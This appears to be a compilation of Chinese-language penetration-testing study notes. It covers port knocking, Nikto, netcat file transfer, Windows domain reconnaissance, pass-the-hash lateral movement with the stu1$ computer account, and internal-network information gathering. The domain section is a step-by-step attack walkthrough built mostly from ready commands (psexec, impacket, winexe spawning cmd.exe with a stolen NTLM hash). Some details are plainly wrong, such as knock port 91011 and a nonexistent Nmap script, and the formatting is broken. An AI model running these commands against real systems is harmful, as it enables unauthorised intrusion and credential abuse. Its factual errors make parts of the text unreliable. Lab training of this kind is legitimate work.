### 🔐 Port Knocking(端口敲门)简介

Port Knocking**(端口敲门)是一种基于网络通信的隐蔽技术,用于在未经授权的情况下隐藏网络服务的入口点。只有完成特定的**敲门序列**(特定端口的访问顺序或数据模式)后,目标系统的服务端口才会开放,允许后续的通信。

这种技术主要应用于增强网络安全,防止端口扫描和未授权访问。

---

### 🛠 **Port Knocking 的工作原理


1. 默认端口关闭
服务器的服务端口(如 SSH、RDP 等)在默认状态下是关闭的,不响应连接请求。

2. 敲门序列检测
客户端按照一定顺序(例如 TCP/UDP 包的目标端口号)尝试连接预定义的端口。这些连接不会真正打开端口,而是作为敲门信号被监听器记录。

3. 验证敲门序列
服务器的 Port Knocking 守护进程会验证客户端发出的敲门序列是否正确。如果匹配,目标服务端口(如 22 号 SSH 端口)会临时开放。

4. 建立连接
客户端在目标端口开放后,可以正常连接到服务,完成通信。

5. 端口关闭
在设定的时间后,端口会重新关闭,恢复隐蔽状态。

---

### 🧩 Port Knocking 的常见实现方式

1. 基于 TCP/UDP 端口扫描
客户端按顺序尝试连接几个特定的 TCP/UDP 端口。例如,敲击顺序为 `1234 -> 5678 -> 91011`,正确的顺序才能触发端口开放。

2. 基于特定数据包的 Payload
通过在敲门包中嵌入密码或加密信息,进一步增强安全性。

3. 隐蔽型敲门
使用非标准端口号或特定协议(如 ICMP Ping 包)作为敲门信号。

---

### 🛡 Port Knocking 的优缺点

#### 优点:
1. 增强安全性:
隐藏端口,避免被简单的端口扫描工具发现。

2. 轻量化:
不需要占用大量资源或额外的网络带宽。

3. 兼容性强:
可用于现有的防火墙和服务配置。

#### 缺点:
1. 容易被监控或重放攻击利用:
如果敲门序列是明文传输,可能被监听并复制。

2. 复杂性增加:
客户端和服务端的配置可能不直观,导致管理和使用不便。

3. 对错误序列的容错性低:
敲门顺序或网络延迟可能导致误触发。

---

### 🔧 Port Knocking 实现示例

以下是基于 iptablesknockd 的实现示例:

#### 服务端配置:
1. 安装 `knockd`:
   sudo apt install knockd
   


2. 编辑 /etc/knockd.conf 配置文件:
   [options]
   logfile = /var/log/knockd.log

   [openSSH]
   sequence = 7000,8000,9000
   seq_timeout = 5
   command = /usr/sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
   tcpflags = syn

   [closeSSH]
   sequence = 9000,8000,7000
   seq_timeout = 5
   command = /usr/sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
   tcpflags = syn
   


3. 启动 `knockd`:
   sudo systemctl start knockd
   


#### 客户端敲门:
使用 `knock` 命令:
knock 192.168.1.100 7000 8000 9000
ssh user@192.168.1.100


---

### 🌐 Port Knocking 的应用场景
1. 隐藏敏感服务端口:
防止 SSH、VPN 等端口被暴力破解工具攻击。

2. 应急接入机制:
在无需长期暴露端口的情况下,为管理员提供备用访问通道。

3. 网络蜜罐增强:
配合蜜罐系统,诱导攻击者触发错误敲门序列,记录其行为。

---

### 🚀 增强安全的建议
1. 使用加密的敲门序列:
结合加密协议(如 HMAC)确保序列不被嗅探和伪造。

2. 结合动态防火墙:
配置时限短的动态规则,减少端口开放时间。

3. 审计和监控:
定期检查 knockd 的日志,发现异常敲门行为。

---

### 🔑 关键词
#PortKnocking #端口敲门 #网络安全 #隐蔽技术 #防火墙
### Nikto 命令行选项概述

Nikto 是一个广泛使用的 web 服务器扫描工具,提供了多种扫描选项以进行不同类型的测试。以下是常用选项的简要说明:

#### 常见选项:
- -ask+: 提示是否提交更新数据。可以选择 yes`、`no 或 `auto`。
- -check6: 检查 IPv6 是否可用,默认会连接到 `ipv6.google.com`。
- -Cgidirs+: 指定扫描的 CGI 目录,可以设置为 `none`、`all` 或自定义目录(如 `/cgi/`)。
- -config+: 使用指定的配置文件。
- -Display+: 设置显示输出的详细程度。选项包括:
- `1` 显示重定向
- 2 显示接收到的 Cookie
- 3 显示所有 200/OK 响应
- V 显示详细输出
- -evasion+: 设置编码技术,用于绕过防火墙或代理,支持多种编码方式,如随机 URI 编码、目录自引用等。
- -followredirects: 跟随 3xx 重定向。
- -Format+: 设置输出格式,可以选择 csv`、`json`、`xml 等。
- -host+: 指定目标主机或 URL。
- -output+: 设置输出文件(默认为当前目录)。
- -Plugins+: 指定要运行的插件列表(默认运行所有插件)。
- -Tuning+: 设置扫描调优选项,可以指定关注特定的漏洞类别(如 SQL 注入、命令执行等)。

#### 网络相关选项:
- -ssl: 强制使用 SSL 模式进行连接。
- -useproxy: 使用指定的代理进行请求。
- -vhost+: 设置虚拟主机(用于 Host 请求头)。
- -timeout+: 设置请求的超时时间(默认 10 秒)。

#### 扫描相关选项:
- -port+: 设置扫描端口(默认为 80)。
- -mutate+: 启用额外的文件名猜测方法,例如尝试猜测密码文件名。
- -maxtime+: 设置每个主机的最大测试时间。
- -nointeractive: 禁用交互式功能,适用于自动化脚本。

#### 调试与输出:
- -dbcheck: 检查数据库和其他关键文件的语法错误。
- -output+: 设置结果输出文件,支持多种格式,如 txt`、`html`、`csv 等。
- -Pause+: 在测试之间暂停指定时间。

#### 安全相关:
- -Tuning+: 调整扫描目标的侧重点,如 XSS、SQL 注入等。

### 示例命令:
nikto -h http://example.com -o result.html -ssl -Tuning 4


### 关键词
#Nikto #web安全 #扫描工具 #漏洞扫描 #网络安全
### 使用 `nc`(Netcat)上传和下载文件夹与文件

`nc`(Netcat)是一个功能强大的网络工具,可以用于创建 TCP/UDP 连接。在文件传输方面,它被广泛应用于上传和下载文件,甚至可以传输整个目录。

在使用 `nc` 上传和下载文件夹时,由于 nc 本身并不直接支持目录结构的传输,你需要借助一些额外的工具(如 tar`)来压缩目录,并通过 `nc 进行传输。以下是使用 nc 上传和下载文件和文件夹的详细方法。

### 1. 使用 `nc` 上传单个文件

#### 发送方(上传方):
cat filename | nc -lvp 4444

- `cat filename`:读取文件内容。
- `nc -lvp 4444`:在本地 `4444` 端口监听,等待接收数据。

#### 接收方(下载方):
nc 192.168.1.10 4444 > filename

- nc 192.168.1.10 4444`:连接到发送方的 IP(例如 `192.168.1.10`)的 `4444 端口。
- `> filename`:将接收到的数据写入本地文件。

### 2. 使用 `nc` 上传整个文件夹

由于 nc 不支持直接传输文件夹,你可以使用 tar 来打包整个文件夹,然后通过 nc 进行传输。

#### 发送方(上传方):
tar -czf - /path/to/directory | nc -lvp 4444

- tar -czf - /path/to/directory`:使用 `tar 压缩并打包文件夹内容,`-` 表示将压缩数据输出到标准输出。
- | nc -lvp 4444`:将压缩的文件通过 `nc 发送到目标机器。

#### 接收方(下载方):
nc 192.168.1.10 4444 | tar -xzf -

- nc 192.168.1.10 4444`:连接到发送方的 `4444 端口。
- `| tar -xzf -`:解压接收到的数据并恢复文件夹。

### 3. 使用 `nc` 上传和下载多个文件或目录(批量传输)

如果你需要批量传输多个文件或目录,依然可以利用 tar 来打包所有内容。

#### 发送方(上传方):
tar -czf - /path/to/dir1 /path/to/dir2 /path/to/file1 | nc -lvp 4444

- `tar -czf -`:打包多个文件和目录。
- `/path/to/dir1 /path/to/dir2 /path/to/file1`:指定多个文件和目录。
- | nc -lvp 4444`:通过 `nc 将打包内容发送给接收方。

#### 接收方(下载方):
nc 192.168.1.10 4444 | tar -xzf -

- `nc 192.168.1.10 4444`:连接到发送方的 IP 和端口。
- `| tar -xzf -`:解压接收到的内容并恢复文件夹结构。

### 4. 使用 `nc` 传输大文件时的注意事项

传输大文件时,`nc` 默认情况下不会提供进度反馈,因此你可能希望在传输过程中查看进度。你可以使用 `pv`(Pipe Viewer)来查看传输进度。

#### 发送方(上传方):
tar -czf - /path/to/directory | pv | nc -lvp 4444


#### 接收方(下载方):
nc 192.168.1.10 4444 | pv | tar -xzf -


### 5. 使用 `nc` 进行双向传输(文件和文件夹)

如果你想进行双向传输(既能上传文件又能下载文件),可以在两台机器上分别开启 nc 监听和连接。你需要确保每个命令在正确的机器上运行。

#### 发送方(上传方):
tar -czf - /path/to/directory | nc -lvp 4444


#### 接收方(下载方):
nc 192.168.1.10 4444 | tar -xzf -


### 总结

1. **单个文件**:可以直接使用 catnc 进行传输。
2. **文件夹**:使用 tar 打包文件夹后,通过 nc 传输。
3. **进度显示**:使用 pv 显示传输进度。
4. **批量传输**:打包多个文件或文件夹后进行传输。

nc 是一个非常强大的工具,结合其他工具(如 tarpv`),可以方便地用于文件夹的上传和下载。虽然它不像 `scprsync 那样内建加密和验证,但它在某些环境中依然是一个非常高效且简单的选择。

#nc #文件传输 #tar #Linux #网络工具
### 内网域信息探测与利用 stu1$ 进行域渗透

在渗透测试中,域信息探测和利用计算机账户(如 stu1$`)进行域渗透是常见的攻击步骤。下面,我会分别讲解如何进行域信息探测以及如何利用 `stu1$ 进行域渗透。

### 1. 内网域信息探测
在对内网进行渗透时,首先需要了解目标网络的域信息,特别是关于域控制器、域名、计算机账户等。你可以通过以下方法获取内网域信息:

#### 1.1. 使用 Nmap 执行域扫描
Nmap 提供了一些脚本,可以帮助你快速探测目标网络中的域信息。以下是几种常见的 Nmap 脚本:

- 扫描域控制器**:
使用 `nmap` 的 `--script` 参数来扫描目标网络中的域控制器:
```bash
nmap -p 445 --script smb-os-fingerprint,smb-enum-domains,smb-enum-users <目标IP>
```
- `smb-enum-domains`:枚举网络中的域。
- `smb-enum-users`:枚举域中的用户账户。
- `smb-os-fingerprint`:识别目标系统的操作系统版本。

#### 1.2. **使用 SMB 扫描域信息

你可以使用 `smbclient` 工具来探测域和计算机信息。以下命令可以列出目标网络中的共享信息:
smbclient -L //<目标IP> -U <用户名>

这个命令会列出目标主机的 SMB 共享,并显示域信息。如果你没有用户名,可以尝试匿名登录:
smbclient -L //<目标IP> -U guest


#### 1.3. 使用 Enum4Linux 获取域信息
enum4linux 是一个强大的工具,用于从 Windows 主机(特别是域控制器)收集信息。你可以使用它来探测域名、域用户、计算机账户等信息:
enum4linux -a <目标IP>

该命令将显示大量的域信息,包括用户、组、计算机等。

#### 1.4. 查询域控制器的 DNS 信息
使用 nslookupdig 查询域控制器的 DNS 记录:
nslookup -type=SRV _ldap._tcp.<domain>

这将显示与目标域相关的 LDAP 服务信息,帮助你定位域控制器。

### 2. 利用 `stu1$` 进行域渗透
stu1$ 是一个计算机账户,它通常在域中代表计算机或工作站(以 $ 结尾)。利用 stu1$ 进行域渗透通常涉及使用计算机账户的 NTLM 哈希进行身份验证,尤其是在通过 Windows 域网络进行横向移动时。

#### 2.1. 理解 `stu1$` 计算机账户
计算机账户(以 $ 结尾)通常具有与域用户相同的权限,它们用于 Windows 域控制器上的身份验证。由于你已经获得了 stu1$ 计算机账户的 NTLM 哈希,你可以尝试使用它来在网络中进行身份验证或横向移动。

#### 2.2. 使用 `stu1$` 进行横向渗透
一旦你获得了 stu1$ 计算机账户的 NTLM 哈希,你可以使用工具如 psexec`、`wmiexecsmbexec 来进行横向渗透。这些工具允许你利用 NTLM 哈希进行身份验证,并在远程主机上执行命令。

- 使用 Psexec (Metasploit 的 psexec 模块)**:
```bash
use exploit/windows/smb/psexec
set RHOSTS <目标IP>
set SMBUser stu1$
set SMBPass <stu1$的NTLM哈希>
exploit
```

或者使用 `psexec.py` 工具:
```bash
python
psexec.py stu1$:<stu1$的NTLM哈希>@<目标IP>
```

这将允许你使用 `stu1$` 账户(通过其 NTLM 哈希)执行远程命令。

#### 2.3. **利用 Pass-the-Hash 进行身份验证

通过 Pass-the-Hash 攻击,使用已获取的 NTLM 哈希直接进行身份验证,而无需明文密码。你可以利用 pth 工具包(如 `impacket`)进行攻击:

impacket-psexec stu1$:<stu1$的NTLM哈希>@<目标IP>

或者使用 `pth-winexe`:
winexe -U "stu1$%<stu1$的NTLM哈希>" //<目标IP> "cmd.exe"

这样,你就能在目标主机上执行命令,并获取访问权限。

#### 2.4. 进一步利用计算机账户
如果 `stu1$` 计算机账户属于域管理员组(例如 `Domain Admins`),你可以利用它来进行更深入的渗透操作,获取更高权限的访问。

- 通过 `net group` 命令列出域管理员组:
  net group "Domain Admins" /domain
  


如果 stu1$ 计算机账户属于该组,你可以尝试通过该账户获取域管理员权限。

### 3. 总结
- **域信息探测**:通过 Nmap、enum4linux、SMB 等工具,你可以收集内网的域信息、计算机账户、共享资源等。
- **利用 stu1$ 进行域渗透**:通过 Pass-the-Hash 攻击、psexec 或 Winexe,你可以利用 stu1$ 计算机账户的 NTLM 哈希进行远程命令执行和横向渗透。

这些步骤将帮助你在内网中利用计算机账户进行有效的域渗透,进一步获得对目标网络的控制。

#域渗透 #PassTheHash #stu1$ #Metasploit #Nmap #SMB #横向渗透 #网络渗透
### 在 Windows 中查看本机端口使用情况

在 Windows 上查看端口使用情况,可以使用多种工具和命令。最常用的是通过 命令提示符 中的 netstat 命令或者 PowerShell**,以及 **资源监视器 来查看端口的使用情况。

### 1. 使用 `netstat` 命令

netstat 是一个非常常用的网络工具,可以查看当前网络连接、端口占用、以及网络统计信息。

#### 查看所有端口和连接状态:
netstat -an

- `-a`:显示所有连接和监听的端口。
- `-n`:以数字形式显示地址和端口(避免进行 DNS 解析)。

#### 查看特定端口的占用情况:
例如,查看 80 端口的占用情况:
netstat -an | findstr :80


#### 查看端口及其对应的进程:
要查看端口和对应的进程信息,可以使用:
netstat -ano

- `-o`:显示与每个连接相关的进程 ID(PID)。

查看特定端口与进程关联:
netstat -ano | findstr :80


#### 根据 PID 查找对应的程序:
通过 `netstat` 获得进程 ID(PID)后,可以在任务管理器中查找对应的进程,或者使用以下命令查看:
tasklist | findstr <PID>


### 2. 使用 PowerShell

PowerShell 提供了比 netstat 更强大的功能,能够轻松查看端口和进程的详细信息。

#### 查看所有监听端口:
Get-NetTCPConnection | Where-Object {$_.State -eq 'Listen'}

这将列出所有处于监听状态的 TCP 连接和端口。

#### 查看特定端口的占用情况:
Get-NetTCPConnection -LocalPort 80


#### 查看进程与端口映射关系:
Get-NetTCPConnection | Select-Object LocalAddress,LocalPort,State,OwningProcess

可以结合进程 ID(OwningProcess)查找具体进程。

### 3. 使用资源监视器(Resource Monitor)

Windows 资源监视器也提供了图形界面来查看端口的使用情况。

#### 步骤:
1. 打开任务管理器:右键任务栏,选择“任务管理器”。
2. 切换到“性能”标签页。
3. 点击“打开资源监视器”。
4. 在“网络”标签页下,点击“监听端口”部分,即可查看当前所有正在监听的端口及其对应的进程。

### 4. 使用 TCPView

[TCPView](https://docs.microsoft.com/en-us/sysinternals/downloads/tcpview) 是 Sysinternals 提供的一款小工具,可以实时显示所有端口的状态,包括每个端口的详细信息,且支持排序、刷新和杀死进程。

#### 使用步骤:
1. 下载并运行 TCPView 工具。
2. 它将列出所有活动的 TCP/UDP 端口,并显示每个端口的进程和状态。

### 总结

在 Windows 上查看端口使用情况,最常见的方式是使用 `netstat`、PowerShell 或资源监视器。根据需求,你可以选择使用命令行工具或图形化工具来查看本机端口的状态,进而了解系统的网络连接和端口占用情况。

#Windows #端口 #netstat #PowerShell #TCPView #资源监视器 #任务管理器 #网络配置 TCPView for Windows - Sysinternals
### 从路由等途径收集目标机器内网信息的方法

在渗透测试中,获取目标机器的内网信息(如网段、网关、子网掩码等)是非常重要的步骤。以下是常用的方法和命令,通过各种途径收集内网信息:

#### 1. 使用路由信息
- `ip route` 或 `route -n`**:显示内网路由表信息,帮助识别目标机器的网关和路由器等。
```bash
ip route
# 或者
route -n
```
- 输出中,`default` 表示默认网关。
- 网段信息有助于判断目标所在的内网范围。

#### 2. **查看ARP缓存

- `arp -a`**:显示ARP缓存中的局域网内其他设备的IP和MAC地址,帮助识别同一网段的其他设备。
```bash
arp -a
```

#### 3. **扫描局域网中的设备

- `nmap`扫描**:使用`nmap`对目标内网网段进行扫描,查找活动设备及开放端口。
```bash
nmap -sn
192.168.1.0/24 # 例如扫描192.168.1.x网段的活动主机
nmap -sS -p 1-65535 192.168.1.1-254 # 全端口扫描
```

#### 4. **分析主机名和网络服务

- `nmblookup`**:用于局域网内NetBIOS主机名的查找,适合用于Windows网络环境。
```bash
nmblookup -A <目标IP>
```
-
nbtscan:扫描NetBIOS协议下的设备信息,适用于查找Windows网络中的设备名称、IP等。
```bash
nbtscan
192.168.1.0/24
```

#### 5. **借助DHCP服务器信息

- 如果可以访问DHCP日志或其配置文件(如`/var/lib/dhcp/dhcpd.leases`),可以找到内网分配的IP地址列表。
     cat /var/lib/dhcp/dhcpd.leases  # 查看租约记录
     


#### 6. 查看网络接口和子网信息
- `ifconfig` 或 `ip a`**:查看当前设备的网络接口、IP地址和子网掩码,了解所在网段。
```bash
ip a
```
-
ip -4 addr show:仅显示IPv4地址信息,便于查看内网IP和掩码。
```bash
ip -4 addr show
```

#### 7. **检查DNS配置

- `cat /etc/resolv.conf`**:查看DNS服务器信息,通常可以了解内网DNS服务器的IP,有时甚至能看到特定的内网域名。
```bash
cat /etc/resolv.conf
```

#### 8. **查看主机文件

- `cat /etc/hosts`**:在目标系统上,查看 `/etc/hosts` 文件是否有本地域名映射,以此了解其他内网设备信息。
```bash
cat /etc/hosts
```

#### 9. **从日志中提取网络信息

- 系统日志和应用日志有时记录网络请求或通信信息。查看日志文件,例如 /var/log/syslog`、/var/log/messages` 等,可能会有内网设备的IP或域名。
     grep -i "IP" /var/log/syslog  # 通过关键字查找IP记录
     


#### 10. 借助SMB或SNMP协议
- **SMB查询**:在Windows环境中,使用SMB协议与主机交互,可以获得主机名和其他网络信息。
- **SNMP**:如果启用了SNMP服务,可以尝试查询SNMP信息。SNMP可以提供大量网络信息(如路由表、设备信息),但需要具备一定权限。
     snmpwalk -v2c -c public <目标IP>  # 使用公共团体字符串“public”查询
     


### 示例汇总
将这些命令汇总在一起,可以进行内网信息收集的批量执行(注:需根据权限及工具可用性适当调整):

ip route && arp -a && ip a && cat /etc/resolv.conf && nmap -sn 192.168.1.0/24 && cat /var/lib/dhcp/dhcpd.leases && cat /etc/hosts


这些方法可以帮助收集到目标系统的内网配置信息,为进一步的渗透提供网络环境方面的依据。

#内网信息收集 #路由分析 #ARP缓存 #Nmap扫描 #网络信息
ISW靶场简介
ISW靶场(Internet Security Wargame)是一个专注于网络安全的在线靶场,提供模拟真实网络攻击和防御的环境。该平台允许用户通过实际操作来提升网络安全技能,包括渗透测试、漏洞分析和防御策略的实施。

ISW靶场的特点包括:

多样化的靶机:提供不同类型和难度的靶机,适合各个水平的安全从业者。
真实场景模拟:通过模拟真实网络环境,用户可以学习如何识别和利用安全漏洞。
社区支持:有活跃的用户社区,提供交流与学习的机会。
该靶场对提高安全技能、测试工具的有效性和学习最新攻击技术非常有帮助。

#ISW靶场 #网络安全 #渗透测试
 
 
Back to Top